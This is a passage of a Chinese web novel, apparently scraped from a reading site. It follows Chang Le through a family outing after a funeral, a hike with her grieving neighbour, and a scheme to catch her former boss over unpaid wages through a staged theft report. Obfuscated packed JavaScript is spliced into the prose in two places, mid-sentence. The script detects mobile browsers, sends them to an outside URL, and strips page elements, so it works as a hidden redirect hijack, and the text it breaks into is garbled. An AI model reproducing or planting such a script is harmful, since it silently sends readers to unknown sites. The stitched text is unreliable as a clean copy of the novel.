d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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常乐捂着脑袋,嚷嚷道:“我这也是为了省钱嘛!五万一个坑,我才舍不得呢。” “瞧你那点出息。”姥姥嫌弃道,“等我死了,给你留五万块钱,行了吧?” 常乐瘪瘪嘴,“不行。你看,这周围的墓地都有主了,我要买,只能买到离你们很远的地方。到时候,你们在山这头团团圆圆,我一个人在山那头孤孤单单,你们忍心吗?” 这画面确实凄惨,姥姥抿了抿唇,有些于心不忍。 沿着石阶往下走时,常乐注意到,林文娟格外沉默,还不时抬起手,揉揉眼角。 她追上去,搂住林文娟的肩膀,才发现她的眼眶红红的。 “妈,你怎么了?” 林文娟吸了吸鼻子,叹了口气,说:“我只要一想到你会死,就受不了……” 她的声音渐渐哽咽。 姥姥回过头,挽着林文娟的胳膊,说:“别说乐乐了,我一想到你会死,我也受不了……” 她说着说着,也开始抹眼泪了。 常建民试图安慰她们:“乐乐还小,咱们正值壮年,两位老人也身强体壮的,没影儿的事,就别瞎担心了。” 姥爷“啧”了一声,不屑道:“早死晚死都得死,有什么可哭的?你们女人啊,就是多愁善感。” 姥姥瞪他一眼,“不是你身上掉下来的肉,你当然不心疼了。” 姥爷一时哑然,只得摆摆手,申请退赛。 常乐挤到姥姥和林文娟中间,一手挽着一个。 她说:“妈,姥姥,别为还没发生的事情难过。咱们还要在一起生活很久呢,就算到了地底下,咱们一家人还能团聚。这不是很好吗?” 姥姥抹了抹眼泪,说:“那你还是住得近一点吧,跟我们挤挤也行。不过,要撬就撬你姥爷的坟,可别撬我的。我喜欢清净。” 姥爷:“……” 走到陵园门口时,常乐回头看了一眼,长长的石阶上,有个人影在缓缓向下走。 那棵樱花树在他身后,仿佛天边漂浮着一团粉色的云,微风轻拂,花瓣如雪纷飞。 48. 48 一家人从陵园出来,驱车回到市区,找了家小馆子吃饭。桌上,常建民提议,趁着春光正好,一家人去慈湖公园逛逛。 常乐愕然:“这合适吗?” 姥姥兴致勃勃地说:“怎么不合适?你看今天天气多好啊,不冷不热的,正好出去晒晒太阳。” “我的意思是,易叔叔才刚过世……你们去吧,我没什么心情。” 常乐也解释不清,只觉得上午刚送完葬,下午就去春游,显得挺没心没肺的。玩得越开心,她越有负疚感。 林文娟说:“心情不好才更要出去走走啊,老是闷在家里,会憋出毛病来的。” 常乐嘀咕道:“话是没错啦,可是,干嘛要这么着急呢?明天是周末,照样可以出去玩。” 姥爷摆摆手,“我昨天刷抖音,看到慈湖的樱花开了大半,看樱花的人已经很多了。等到周末,公园里肯定是人山人海。我可不想凑这个热闹。” “最重要的是,”常建民可怜巴巴地望着常乐,“我难得请一天假,这种忙里偷闲的机会不多了。” 既然大家意见一致,常乐也不好扫他们的兴。 “好吧……不过,樱花看两眼就得了,我想去划船。” -- 导航显示,慈湖公园门口那条大道已经堵成了猪肝红。于是,常建民找了个路边停车场,把车靠边停好,一家人步行前往公园。 路过一家水果店,姥姥打算去买几样水果,常乐一进店,就被一箱红彤彤的草莓夺了魂儿。她咽了咽口水,盯了半晌,都舍不得挪开视线。 姥姥实在看不下去,嫌弃道:“哎呀,瞧你那馋样儿,想吃就买点吧。”她拿起一个塑料盒扔给常乐,“自己挑,看仔细点,别挑坏的。” 结账时,姥姥骂骂咧咧:“几个小草莓,比我这几袋子加起来都贵!” 常乐东张西望:“哪有洗手间啊?我去洗洗。” 她洗完草莓出来,又在路边买了根淀粉肠——家人们都表示嫌弃,婉拒了她的分享。她三两口吃完后,又盯上了旁边的臭豆腐摊。 “是谁说出来玩没心情的?”林文娟忍不住发笑,“我看你胃口好得很呐。” 常乐讪讪地收回视线。 是哦,她今天要保持忧郁人设。 慈湖公园外的滨湖路两旁种满了樱花树,樱花已经开了七成,路上游人如织,有拖家带口的,有遛娃遛狗的,有拍照拍视频的,还有手牵手的小情侣,在树下找各种角度自拍。 “咱们也拍一张合影吧。”林文娟提议道,“上次拍全家福,还是在乐宝上大学那年,都过去好久了。” 大家一致同意。于是,他们挑了棵开得最盛的樱花树,在树下一字排开。 林文娟随手揪住一个遛狗的大哥,请他帮忙拍张照,大哥欣然同意,把狗夹在两腿中间,接过林文娟的手机,对着五个人咔咔一顿连拍。 向大哥道谢后,林文娟拿回手机,放大照片。 几只脑袋凑了过来。 大家都沉默了。 姥姥的脸被晒得发红,姥爷的外套下摆卷进了裤腰里,林文娟的脸被乱飞的头发糊住,常建民的镜片反光严重,完全看不见眼睛。 常乐更无语。她的嘴角还残留着淀粉肠的酱汁,居然没有一个人提醒她。 沉默良久,常乐一句话总结:“这就是找男人拍照的下场。” 林文娟也追悔莫及。直男的审美简直令人绝望。 “要不,再找个人帮忙拍一张?”她征求大家的意见。 “算了,回去精修一下吧。”常乐抽出纸巾,擦了擦嘴角,“赶紧去划船吧。” 他们穿过公园大门,沿着湖边走百米远,就看到了租船点,收费处已经排起了长队。好在他们要坐的是五人座的大船,前面等候的人不多。 过了半个小时,一家人穿上救生衣,登上了一艘玫红色的火烈鸟造型的脚踏船。 姥姥刚一坐稳,就开始算账:“一个小时六十块,交了一百块的押金,超时还得扣钱。”她低头看了眼手机,“现在是两点四十,咱们提前二十分钟就得往回划,也就是三点二十……” “妈。”林文娟打断她的喋喋不休,“来都来了,就敞开了玩呗,想玩多久都行。” 脚踏船只有两个踏板,由林文娟和常建民负责蹬,常乐坐在前面,负责调整方向。 湖面波光粼粼,小船停在湖中心,随着水波微微荡漾。湖水清澈得能看见底下幽绿的水草,偶尔有一群小鱼游弋其间,万物皆悠然自得。 船中间有张小桌子,姥姥把洗好的水果摆在桌上,解开袋子。几只手纷纷伸过来,不一会儿,装草莓的盒子就见底了。 常乐离桌子远,够不到,林文娟便拿起一个最大的草莓,甩干上面的水,塞进她嘴里。 清甜的汁水瞬间溢满口腔。 林文娟又剥了个砂糖橘,对半掰开,挨个塞进她嘴里。 “现在心情好点了吧?”林文娟问她。 常乐咀嚼着砂糖橘,感受着酸甜的滋味在味蕾间绽放,嘿嘿笑了几声。 虽然有点不好意思承认,但此刻,她真的感觉无比惬意和自在。 林文娟给她塞了两个砂糖橘,慢悠悠地说:“如果今天下葬的人是我,看到你们玩得这么开心,我在地底下也会感到高兴的。” 常乐一惊,急声说:“妈,你瞎说什么呢?别诅咒自己啊,要避谶懂不懂?” 林文娟捋着乱飞的头发,说:“别那么大惊小怪,你又不是小孩子了,人都是会死的,这是常识。等你活到我们这个年纪,多参加几场葬礼,你就会明白,最难接受的,不是自己的死期将至,而是身边的朋友亲人的突然离世。” 常乐低着头,看着手中的砂糖橘,想到若干年后,亲人们一个接一个离世的画面,心头忽然涌起一股巨大的悲伤。 林文娟继续说:“难道因为有人死了,我们就得永远沉浸在悲伤之中吗?活着的人还得继续生活啊。不管是我们,还是易诚,都要早点从阴霾中走出来,重新开始,好好生活。” 常建民点点头,“作为一个父亲,我相信易志刚也是这么想的。要是易诚从此一蹶不振,他肯定比谁都着急、都自责。” 姥姥唏嘘道:“易诚这孩子,以前多阳光开朗一小伙儿啊,自从他爸病了,他就像变了个人似的,不爱说话,也不爱笑了。” 常乐闷不吭声,剥开手中的砂糖橘,一整个儿塞进嘴里。 酸甜的味道只停留在舌尖,心头的酸涩却怎么也压不下去。 “反正明天是周末,你也没什么事儿,要不带易诚出去走走?”姥姥提议道。 常乐犹豫不决:“他可能想一个人待着,不希望被人打扰。” 姥姥说:“他怎么想是他的事。你多陪陪他,带他到户外呼吸一下新鲜空气,总归是有帮助的。” 姥爷接话道:“要不带他来划船吧?” 两个人,一艘船,在湖中心随波荡漾,这画面,想想都觉得…… “太暧昧了。”常乐一票否决。 “要不去看电影?”林文娟突发奇想,“找一部催泪大片,以毒攻毒,让他痛痛快快哭一场。” 常乐苦笑道:“他本来就要抑郁了,还看致郁的电影,简直是雪上加霜。” 常建民沉吟片刻,说:“干脆带他去爬山吧,户外运动有助于排遣压力、发泄情绪。我看青云山就挺适合的,不高,山顶风景不错,还能远眺长江。” 青云山离市区不远,开车过去大概半个小时。常乐高中毕业时跟同学去过一次,环山一圈只需要半天时间。 “我试试吧。”她勉强答应,“不过,他要是不愿意出门,我也不能强人所难。” -- 第二天一早,常乐吃过早饭,就在易诚家门口来回晃悠。 不等她想好开场白,门就开了,易诚牵着图图走了出来。 常乐脱口而出:“去爬山吗?” “走走走。”易诚冲她一挥手,大步走向停在路边的大众车。 常乐愣在原地。 这么爽快就答应了?那她刚刚精心设计的台词又算什么?算她戏多? 易诚将图图塞进后排,自己坐上主驾。等常乐坐上车后,他问:“去哪儿?” “青云山怎么样?”常乐打开手机导航,“现在不堵车,半个小时就能到。” “可以。”易诚想都没想就同意了,示意她把手机卡在支架上。 小车缓缓驶入主干道,常乐看着易诚的侧脸,忍不住问:“你本来也要出门?” 易诚点点头,“对,不过我还没想好去哪儿。街道办刚刚给我打电话,说待会儿会有领导来慰问我,给我送米送油什么的,还有人来拍照,让我把家里收拾干净点……我吓得赶紧出门,不管去哪儿,反正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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再往上,是一段土路,地面还算平整,只是要不停地上坡下坡,有的地方坡度还挺陡,一不留神就会摔个大屁墩儿。 两人来到一段长长的下坡面前,前面有十几个小孩连摔带滑,激起尘土飞扬。常乐望而生畏,不敢贸然往下冲,只得沿着土坡的边缘,扶着枯瘦的树干,小步小步地往下挪。 易诚走在前面,转过头,向她伸出手。 常乐犹豫了一瞬,也向前伸出手。 他攥住她的胳膊,像扶老奶奶过马路一样,小心翼翼地将她搀扶下去。 果然是个傻直男。 “哎,算了算了,我还不如扶着树呢。”常乐抽回自己的胳膊,拽住身边的一根粗藤,蹲下身,压低重心,慢慢往下挪。 在她身侧,图图如同一枚小炮弹俯冲下去,转瞬之间,就冲到了坡底,毫发无损。 它得意地抖了抖身上的灰。 易诚索性放开手脚,迈开大步冲了下去,居然也平安地到达了终点。 他冲常乐招招手,喊道:“冲下来更快!” 常乐不敢冒险,依旧保持着老奶奶的站姿,哆哆嗦嗦地伸腿试探。 “别怕!”易诚再次喊话,“冲下来!我接着你!” 他站在长坡的尽头,张开双臂。 常乐心一横,小心地挪到土坡中间,屈腿、弓背、大步向下冲去—— 在重力的牵引下,她飞快地摆动双臂,迈开双腿,偶尔踏入一个浅坑,身子一歪,很快就能在下一次的蹬踩中恢复平衡。 快到坡底时,她的速度越来越快,根本停不下来。 易诚像保护小鸡的老母鸡一样,双臂大开,瞄准她冲下来的方向,俯身下蹲—— 一阵剧烈的撞击。 易诚牢牢地抱住了她,踉跄着倒退了几步,终于站稳。 撞进他怀中的那一瞬,常乐脑子里忽然闪回一幅画面,那是她在登山口看到的一块警示牌—— 遇到野猪的应对策略: ……野猪极其凶悍,冲击速度极快,正面对抗时,能将人的肋骨撞断…… 刚刚她俯冲下来的姿态,好像一只发狂的野猪啊。 常乐从易诚怀里挣脱,低着头不敢看他,耳根烫得厉害。 “你那个……肋骨还好吗?” “肋骨?”易诚摁了摁肚角,觉得莫名其妙,“没事儿啊。” “没事儿就好。” 常乐拍了拍裤子上的灰,又检查了一下自己的背包,试图用忙碌来掩饰尴尬。 一转头,刚刚那串灰扑扑的小孩都坐在树底下,好奇地看着他俩。 在这群小孩中间,方凛手杵着一根登山杖,背倚着一棵松树,冲他们点了点头。 49. 49 这一群小孩水也不喝了,苹果也不啃了,瞪着大眼睛,齐刷刷地盯着他俩。 方凛也是,脸上没什么表情,但眼里分明藏着意味深长的笑。 常乐的耳朵更烫了。 看什么看?没见过野猪撞人吗? 她硬着头皮走上前,跟方凛打了个招呼:“嘿嘿好巧啊,你怎么也在这儿?” “我带队登山,走十二公里大环线,青云山是第一站。”方凛说话一向简洁。 “所以,这群小孩就是你的队员啊?”常乐环顾四周,粗略数了下,至少有十五个,目测都是小学生。 “对。”方凛的视线越过她,落在易诚身上,“你们也是来登山的?” “是啊,闲着没事,出来锻炼一下。”常乐哈哈干笑两声,又把话题转到他身上:“对了,我刚刚看到有几个小孩都摔倒了,没事儿吧?” 方凛:“没事儿,都买过保险了。” 常乐:“……” 哥,你心真大啊。 方凛走到小孩面前,拍拍巴掌,声音洪亮:“都休息好了吧?这才到第一站,接下来,我们还有三座山要爬。所有人起立!” 小孩们垂头丧气地爬起来,将水杯和啃了一半的苹果都塞进背包里。 方凛看向常乐和易诚,说:“我们先走了。” “嗯嗯,你去忙吧。”常乐赶紧挥挥手。 小孩们自觉排成两条队,跟在方凛身后,继续爬坡。常乐和易诚在一片树荫下坐下,从包里掏出矿泉水,咕噜咕噜地喝了起来。 易诚给图图倒了一碗水,又从包里掏出鸡肉干,撕成小片喂它。 “我还没有方凛的微信,”他突然开口,“你能把他推送给我吗?” “行啊。”常乐爽快地答应,掏出手机打开微信,又觉得奇怪:“你加他干嘛?” 易诚:“我看那群小孩皮糙肉厚的,挺扛摔,又能吃苦,是练轮滑的好苗子。” 常乐恍然大悟:“哦,你想撬墙角?” 易诚笑了,“这叫资源共享。轮滑和登山又不冲突。” 常乐点点头,手指往下翻,很快找到方凛的微信,转发给了易诚。 正要收起手机,屏幕上忽然弹出珍姐的名字,紧接着,手机震动起来,响起熟悉的铃声。 珍姐很少在白天给她打电话,莫非是出什么事了?常乐心头一紧,急忙接听。 “常乐,你看我直播间了吗?他们家终于有人出现了!”珍姐的声音透着兴奋。 “真的?”常乐腾身而起,在树下来回踱步,语气激动,“能看到是谁吗?” “都打了码,看不到脸。我现在准备过去一趟。你今天有空吗?要不一起过来?” 常乐看了眼易诚,面露难色。 说好了带他爬山,结果爬到一半自己走人,实在太不讲义气了。 可是,讨薪事关重大,让珍姐一个人冲锋陷阵,她心里也过意不去。 电话那头,珍姐察觉到她的为难,安慰道:“来不了也没事儿,我先去打探敌情,等有确定消息了,咱们再约个时间一起过去。” 挂断电话,常乐犹豫了下,打开抖音,点进珍姐的直播间。 右上角已经有一千多观众了,弹幕也在不断刷新: 【刚刚是不是出来个人?】 【是个小孩?我没看错吧?】 【恭喜主播,苦守寒窑十八年,终于等到负薪汉!】 【什么寒窑?这是大别野!】 【期待主播手刃仇人!】 【把老赖的照片贴出来,大家一起转发!】 常乐越看越心潮澎湃,一秒钟都坐不住,恨不得骑火箭冲到江城,给老孙家一人一个大逼斗。 哦,不对,小孩除外。 易诚察觉到她的焦躁不安,问:“出什么事了?” 常乐把手机举到他面前,解释道:“我前老板消失了几个月,现在终于有了点线索。他还欠我两个月工资没发呢。” 易诚站起身,拍拍屁股上的灰,说:“那你还等什么?赶紧去啊!小心他又溜了。” 常乐犹豫不决:“可是,你一个人……” 易诚调侃道:“你还怕我走丢了不成?” 常乐终于下定决心:“行吧……那咱们下次再一起爬山。” 她退出直播间,点开打车软件,又遇到新的难题:顺风车都排到下午三点了,到那儿天都黑了,专车又太贵,单程要两百多。 自己开车最方便,可是她没有开过高速,心里有些发怵。 易诚见她眉头紧皱,半晌不语,主动询问道:“打不到车吗?要不我送你吧。反正我今天也没有别的安排。” 常乐心中一喜,急忙问:“你开过高速吗?” 易诚点点头,牵起图图的狗绳,说:“以前送我爸去江城的一家医院做康复治疗,每周都要跑一趟,对路况很熟悉。” “太好了!”常乐赶忙背起背包,催促道,“那咱们现在就去。” 两人一狗沿着原路下了山。 易诚开车很稳,上了高速后一路疾驰,不到两个小时就抵达了别墅小区外。 已经过了午饭时间,他们在附近找了家肯德基,点了两份汉堡套餐,还给图图单独点了只烤鸡,边吃边等珍姐。 可乐喝到一半时,珍姐推门而入,大步奔向常乐坐的桌子,满脸兴奋地说:“你猜怎么着?老鳖孙也在!这下真是钓到大鱼了!” “太好了!”常乐将杯中的可乐一口气吸完,两眼放光,摩拳擦掌,“成败在此一举了!” 珍姐注意到她旁边的易诚,“这位是?” “我朋友。”常乐介绍道,“他开车送我过来的。” 珍姐上下打量他一眼,表示满意:“咱们正好缺个打手,我看他这体格,对付老鳖孙绰绰有余。” 易诚和常乐对视一眼。 常乐弱弱地问:“要动手啊?” 珍姐:“不然呢?你觉得老鳖孙会乖乖把钱给我们?” 常乐盯着她,半调侃半认真地说:“珍姐,我觉得你身上有股匪气。放过去,你高低得是个土匪头子。但是现代社会,可不兴打打杀杀那一套了。” 珍姐摇摇头,“你呀,还是学生思维,总想着按规则办事。但是,这个社会有时候就是不讲规则,你想维护自己的权益,就得以暴制暴。” “那你总得想想后果吧?”常乐耐心劝她,“就算你通过以暴制暴拿到钱了,老孙会善罢甘休吗?到时候他报警说你敲诈、抢劫、故意伤害,随便一个罪名,就够你蹲上几个月的。万一留下了案底,你以后怎么办?你女儿怎么办?” 珍姐陷入了沉默,搁在桌上的双手不自觉攥成拳。 她忿忿地说:“那你说怎么办?” 常乐思索片刻,提议道:“咱们先去他家看看。直播间里打了码,我都认不出来。” 珍姐站起身,“行,正好我下午请了假,我带你们进去。” 他们收拾好餐盘,推门而出。珍姐随身带着工作牌,跟保安打了招呼后,带着两人一狗从侧门进去了小区。 “你这中介的身份还挺管用的。”常乐羡慕地说。 “是啊,就像唐僧的通关文牒。”珍姐收起工作牌,“我干了一个多月的中介,虽然现在一套房子没卖出去,但是租出去了八套,能拿两千多的提成呢。” 常乐由衷地赞叹道:“真好。珍姐,我觉得你挺厉害的,能适应各种环境,还能越活越好。” 珍姐笑了笑,没说话。 很快,他们走到那栋别墅附近,蹑手蹑脚地钻进院外的一片灌木丛中,蹲下身藏好。图图被易诚卡在两腿之间,嘴筒子也被他捏住,发不出一丝声音。 从枝叶的缝隙间,常乐看到一楼大门半掩着,透过窗户,能看见几个人影在屋里走动。仔细听,还有播放新闻的声音。 不一会儿,从大门里跑出一个小女孩,十岁左右,身后还跟着一条白色比熊犬。 珍姐掏出手机,打开照片,比对之前李玉婷给她发的照片。 “是他女儿。”她语气确定。 也许是察觉到附近有人,比熊朝着他们藏身的方向吠叫了起来。 三个人紧张地屏住了呼吸,图图也变得焦躁不安。 小女孩没有在意,自顾自地荡起了秋千,倒是屋里的人听得烦了,对着外面呵斥一声:“叫什么叫?吵死了!” 常乐和珍姐激动地对视一眼,手攥在了一起。 是老孙的声音! 不过,常乐很快冷静下来。就她那点战斗力,连那只小小的比熊都打不过,更别说私闯民宅痛殴老孙了。 正胡思乱想着,从屋里又传出一道女声:“果果,赶紧去换衣服,钢琴课要迟到了。” 常乐迅速拉回思绪——这是前公司的财务大姐、老板娘的声音。 珍姐冷笑道:“呵,这一家子都到齐了啊。” 过了一会儿,老板娘推开门,出现在了门口。她穿着一件长风衣,斜背着一个小黑包,包上的金色logo格外显眼。 常乐脑中灵光一闪,小心翼翼地掏出手机,对准老板娘,放大镜头,拍了张特写。 “没齐。”她收起手机,小声说,“还缺个三姐呢。” 珍姐看向她,不解地问:“谁啊?你认识吗?” 常乐嘴角勾起坏笑:“李玉婷啊。” 等老板娘和小女孩都进屋后,常乐开始介绍自己的计划:“珍姐,你还有李玉婷的微信吧?老孙重新现身这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853016|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,你跟她说了吗?” 珍姐摇摇头,“没,我怕她串通老鳖孙,给他通风报信。” 常乐一时失笑,说:“老孙把她坑得这么惨,她还会帮他?不太可能。” 顿了顿,她继续说:“咱们不能直接找老孙,毕竟他已经跟公司没关系了,但是他跟李玉婷还有一层关系啊。” “所以,你想让她来闹事?”珍姐沉吟片刻,“我觉得没什么用。老鳖孙养小三、让小三背锅这一系列操作,老板娘肯定都知道,并且默许了。李玉婷来闹事,只会自取其辱。” 常乐故作高深道:“我没打算让她闹事,我只想让她把钱要回来。” 珍姐一脸懵:“怎么要?” 常乐哼笑一声。 “哎哟,你就别说一半藏一半了。”珍姐摇晃着她的胳膊,灌木丛发出簌簌的轻响。 那只比熊又狗叫起来。图图想跟它对骂,又发不出声音,只能低低地呜咽着。 “咱们先出去。”常乐猫着腰,从灌木丛中爬了出来,又赶紧躲到一棵树后。 比熊骂得更凶了。 易诚抱着图图钻了出来,松开了它的嘴筒子。图图立马对着比熊狂吠起来,尽情发泄自己的怒火。 “走走走。”常乐冲两人招招手,趁着屋里的人出来之前,飞快地逃离现场。 直到走出小区大门,常乐才看向珍姐,重新开口:“上次仲裁的裁决书说,如果李玉婷半个月内没有还钱,我们可以申请强制执行。现在已经过了最后期限了,你就拿这个来威胁她,让她亲自找老孙要钱。” 珍姐打开微信,找到跟李玉婷的对话框,刚输入几个字,手指又悬停在屏幕上。 “可是……”她犹豫了,有些事仍想不通,“老鳖孙会乖乖给她钱吗?” “我有办法。”常乐凑到她耳边,声音压得很低,“你就跟她说……” 易诚好奇地看着她们,伸长脖子,想凑过来偷听,被常乐一巴掌推开了。 “连我都不能说啊?”他一脸委屈。 “不能。”常乐挑挑眉,“我们干坏事呢,小孩可不能学。” 她拉着珍姐走到一旁,快速说完自己的计划。 珍姐愣愣地张开嘴,半晌,就蹦出两个字:“牛逼。” “哼。”常乐嘴角一歪,露出邪恶反派的奸笑,“她想拿我们当枪使,让我们冲锋陷阵,自己坐享其成,凭什么?我们也可以拿她当枪使啊。” -- 三人一狗又回到了肯德基,点了一桶炸鸡,边嗦鸡骨头边等李玉婷。 一个小时后,李玉婷风尘仆仆地赶到了。 “这儿!”珍姐举起手招呼她。 李玉婷走到他们面前,将手中的纸袋往桌上一甩,“喏,东西我都带来了。” 常乐摘下手套,用纸巾擦了擦手指和嘴角,从纸袋中抽出一个黑色纸盒,打开盒盖,里面的白色包装纸和黑色丝绒袋都还在,底下还有一张小卡片,小票和发.票也保存完好。 常乐拿起小票,啧啧感叹:“一个包要四万五?老孙真舍得。” 李玉婷没好气地说:“又不是真的。” 常乐一针见血道:“他买的是真的,只不过,送你的是假的。” 李玉婷被戳了肺管子,气得拧眉瞪目,常乐赶紧补充一句:“但是,从现在起,你必须把它当真的。” 李玉婷肩膀一垮,迟疑地问:“可是……警察能信吗?” 常乐给她分析:“你看,你有正版的购物小票和发.票。去年七夕,你还发了个朋友圈,炫耀自己收到了这个包,老孙还出镜了。这些都是证据。” “但是现在,”常乐话音一顿,掏出手机,给她看照片,“这个包,出现在了老板娘身上,而她又拿不出购物小票。这不就形成了完美的证据闭环了吗?” 李玉婷低着头沉默不语,半晌,才嘟囔道:“你怕是宫斗剧看多了吧?哪有那么简单?警察又不是傻子。” “所以啊,你得演得逼真一点儿。”常导演兴奋地拍了下巴掌,指着女主角李玉婷,“首先,赶紧补个妆。你看看你,灰头土脸的,哪有一点小三该有的样子?” “其次,”她双手握住李玉婷的手,用力晃了晃,“宫斗剧早就过时了。我最近在看职场剧,什么栽赃啊、造谣啊、抢功啊、甩锅啊,我都学得融会贯通了,就等着付诸实践呢。” -- 十分钟后,李玉婷深吸一口气,走进了派出所。 她找到前台负责接警的民警,还没开口,鼻头涌起一股酸涩,眼眶也开始泛红。 “我要报警!”她声音带着哭腔,“我的香奈儿包包被人偷了,原价要四万五呢!偷包的人之前一直躲在外地,今天刚回来,就住在星海湾小区!” 50. 50 孙宇顺将公司关停、一走了之后,设想过很多次自己被抓的情景,但是从来没想过,是在自己的老丈人家门口。 被指控的罪名还是,偷了前任情人的名牌包? 孙宇顺气极反笑:“我说警察同志,你们能不能搞清楚了再上门?这样对我的影响很不好。这个包是我买的,我手机里都有购买记录,现在居然反过来说是我偷的?简直离谱!” 李玉婷从一个高个民警身后探出脑袋,尖声道:“你有没有点法律常识?这个包你已经送给我了,就是我的!你趁着我出门旅游两天,把自己的行李都带走了,还顺走了我的包,这就是偷!” 一位民警严肃地说:“这位李女士说,她的包现在在你老婆身上,她还提供了照片证据。麻烦让她出来一下,我们需要对她进行问话。” “不是,你们这……”孙宇顺一时噎住,不知该如何辩解,只能一口咬定:“这是我买的,就是我的东西,我想给谁就给谁,你们管不着!” 玄关处,老丈人端着茶杯,缓缓走了过来,问:“小孙,什么事啊?警察是来找你的?” “没事儿,都是误会。”孙宇顺急忙回头,讪笑道,“爸,您先回屋休息吧,马上就解决了。” 李玉婷扯着嗓子尖叫:“老东西!你女婿在外面养小三,还偷小三的包,真他妈不要脸!” 孙宇顺一时气急,伸手去捂她的嘴,被两个民警反手钳制住,怒斥道:“干什么干什么?当着警察的面还想动手吗?” 局面陷入一片混乱。 就在这时,身后传来”吱呀“一声,院子的铁门开了,邹晓琴带着女儿果果走了进来。 李玉婷回过头,一眼就认出她身上的包:“就是这只!香奈儿的金球羊皮大mini!化成灰我都认得!” 邹晓琴看到这场景,脸色一沉,不动声色地将果果拉到了身后。 此刻,直播间里已经炸开了锅—— 【帽子叔叔终于来了!颤抖吧,老赖!】 【我滴妈呀!好刺激!】 【就是听不到他们在说什么,有人懂唇语吗?】 【帽子叔叔好像在检查那个女人的包。】 【还是香奶奶呢,一只要好几万。】 【难道要学江南皮革厂,拿着皮包抵工资?】 【哈哈哈哈哈精彩!】 派出所大门外,易诚假装遛狗的路人,在路边放风。常乐和珍姐蹲在一辆警车后面,目不转睛地盯着手机,心情既紧张又激动。 在看到民警将老鳖孙夫妇带走后,她们更兴奋了,直播间里也在欢呼庆贺,热闹的气氛仿佛过年。 常乐瞥了一眼右上角,惊喜地发现观看人数已经突破了两千。 “不错啊,起号成功了。”她向珍姐道喜。 珍姐苦笑道:“我大号发了那么多视频,流量还不如这个小号。看来我以后要走上职业讨薪人这条赛道了。” 又过了十多分钟,易诚拍了拍警车,提醒她们:“来了来了。” 常乐从车后探出脑袋,举起手机,对准正在走进派出所大门的老鳖孙夫妇,一连拍了几张路透照。 公司解散那天,公司群也随之解散了,他们这群无棚可归的牛马们新建了个维权群。 一开始,群里每天都有上百条讨论,大家都义愤填膺,恨不得掘地三尺将老鳖孙揪出来。 慢慢地,有人退了群,群也沉寂下来。珍姐偶尔会分享一些维权途径和法律知识,但响应者寥寥。 常乐想,或许大家都开始了新生活,又或许,他们只是累了。这万八千钱的工资,没了就没了吧,懒得折腾了。 不管怎么说,常乐还是觉得有义务在群里播报一下最新进度。 她选出一张正脸拍得最清晰的照片,发到群里,并呼吁道:【同志们,老鳖孙终于露头了!就在建设路派出所!想要工资的人速来!这是我们最后的机会了!】 珍姐正躲在派出所大门后,偷听里面的动静。手机一震,她拿起一看,不由得皱起眉头。 她溜到常乐身边,埋怨道:“你干嘛要跟他们说?他们又没出力,凭什么坐享其成?” 常乐一愣,解释道:“他们也是受害者啊。大家都是一条船上的,应该信息共享啊。” 珍姐考虑的问题更现实:“你傻啊,就算要通知他们,也得等李玉婷把钱要到手了再说。她顶多能要到四万五,根本不够大家分的。” 常乐一脸担忧道:“等李玉婷要到钱,老鳖孙就该放走了。到时候再通知他们,也来不及了。” “那是他们的事,我们要回自己的钱就行。”珍姐提醒她,“你可别忘了,申请仲裁的只有四个人,除了你我,就是小周和小杨。其他人都干嘛去了?自己的利益自己不维护,都等着别人来当出头鸟,凭什么?” 常乐哑口无言。 内心深处,她觉得珍姐说得有道理。但从道义上,又觉得过意不去。 易诚接替了珍姐躲在门外偷听的任务。他突然回过头,“哎”了两声,冲她们招招手。 常乐和珍姐暂时放下争论,小跑到他身边,问:“进展到哪一步了?” “还在对骂阶段。”易诚小声说,“警察嫌他们太吵了,要把他们带到调解室去。咱们还跟吗?” “跟!”常乐不假思索地说。 她直起身,昂首挺胸地走进派出所大厅,环视一圈。 李玉婷站在调解室门口踟蹰不前。 常乐见到她,立刻戏精附体,快步奔向她,大喊着:“小婷,我来晚了!” 李玉婷仿佛见到了救星,配合地伸出手,拉住她说:“等你半天了!” 她把常乐带进调解室,跟民警解释道:“这是我好闺蜜,我的事她最清楚了。” 民警点点头,示意她们坐下。 在调解桌对面,孙宇顺和邹晓琴一脸阴沉地看着常乐。邹晓琴甚至还用鼻孔发出一声冷嗤。 孙宇顺嘲讽道:“警察同志,有没有搞错?这是我们公司的员工,什么时候变成了这个臭表子的闺蜜了?” “你说话放干净点。”民警厉声警告他。 “你们公司?”常乐眨着大眼睛,一脸无辜,“你有什么公司啊?” “我……”孙宇顺顿时哑然。 民警轻咳两声,开口道:“事情的经过呢,我差不多搞清楚了。这位李女士,跟这位孙先生之前是男女朋友关系——” 邹晓琴冷冷打断道:“什么男女朋友?她就是个臭不要脸的小三!” 常乐不甘示弱,回击道:“你老公也不是什么好东西,骗财又骗色!死渣男!臭狗屎!” 她骂完只觉得浑身舒爽。要是搁以前,她哪敢这么跟老板说话啊? “别吵了!”民警拍拍桌子,“把你们叫进来,是来解决问题的,不是来吵架的!” 双方终于安静下来,但脸色都忿忿的,明显不服气。 民警从纸袋里抽出一只黑色香奈儿包,放在桌上,不急不慢地说:“这位李女士声称,在2024年8月10日,也就是七夕节这天,孙先生送给她这只包,附带购物小票和发.票。李女士那天还发了朋友圈,其中有两张照片中出现了孙先生的脸。” 他话音一顿,将目光转向孙宇顺,“有这回事吗?” 孙宇顺眼神躲闪,支支吾吾:“呃,具体哪天,我也不记得了……” 民警问:“要看一遍李女士的朋友圈吗?” “不用了。”孙宇顺连忙拒绝。 